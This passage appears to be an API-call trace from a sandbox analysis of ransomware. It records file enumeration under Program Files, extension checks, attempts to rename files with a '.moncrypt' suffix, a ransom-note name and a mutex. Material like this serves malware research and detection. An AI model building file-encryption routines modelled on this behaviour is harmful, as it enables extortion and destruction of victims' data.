lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.770] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.770] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\LayeredTitles\\1047x576black.png", lpUsedDefaultChar=0x0) returned 4 [0057.770] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0057.771] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0057.772] CloseHandle (hObject=0x18c) returned 1 [0057.772] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\я")) returned 1 [0057.773] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 0x54e280 [0057.773] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.773] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.773] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.773] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png", dwFileAttributes=0x20) returned 0 [0057.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.774] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png.moncrypt")) returned 0 [0057.774] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0057.775] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.775] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.775] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.775] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.775] GlobalUnlock (hMem=0x440004) returned 0 [0057.775] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.775] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.775] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.775] GlobalUnlock (hMem=0x440004) returned 0 [0057.775] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.775] GlobalUnlock (hMem=0x44000c) returned 0 [0057.775] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.775] CharLowerBuffW (in: lpsz="203x8subpicture.png", cchLength=0x13 | out: lpsz="203x8subpicture.png") returned 0x13 [0057.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.776] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png", lpUsedDefaultChar=0x0) returned 77 [0057.776] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\LayeredTitles\\203x8subpicture.png", lpUsedDefaultChar=0x0) returned 4 [0057.776] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 0x54e280 [0057.776] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.776] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.776] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.776] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png", dwFileAttributes=0x20) returned 0 [0057.777] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.777] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png.moncrypt")) returned 0 [0057.778] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 1 [0057.778] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.778] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.778] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.778] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.778] GlobalUnlock (hMem=0x44000c) returned 0 [0057.778] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.778] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.778] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.778] GlobalUnlock (hMem=0x44000c) returned 0 [0057.778] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.778] GlobalUnlock (hMem=0x440004) returned 0 [0057.778] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.778] CharLowerBuffW (in: lpsz="blackbars60.png", cchLength=0xf | out: lpsz="blackbars60.png") returned 0xf [0057.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.779] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png", lpUsedDefaultChar=0x0) returned 73 [0057.779] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\LayeredTitles\\blackbars60.png", lpUsedDefaultChar=0x0) returned 4 [0057.779] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 0x54e280 [0057.779] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.779] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.779] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.780] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png", dwFileAttributes=0x20) returned 0 [0057.780] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.780] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png.moncrypt")) returned 0 [0057.780] FindNextFileW (in: 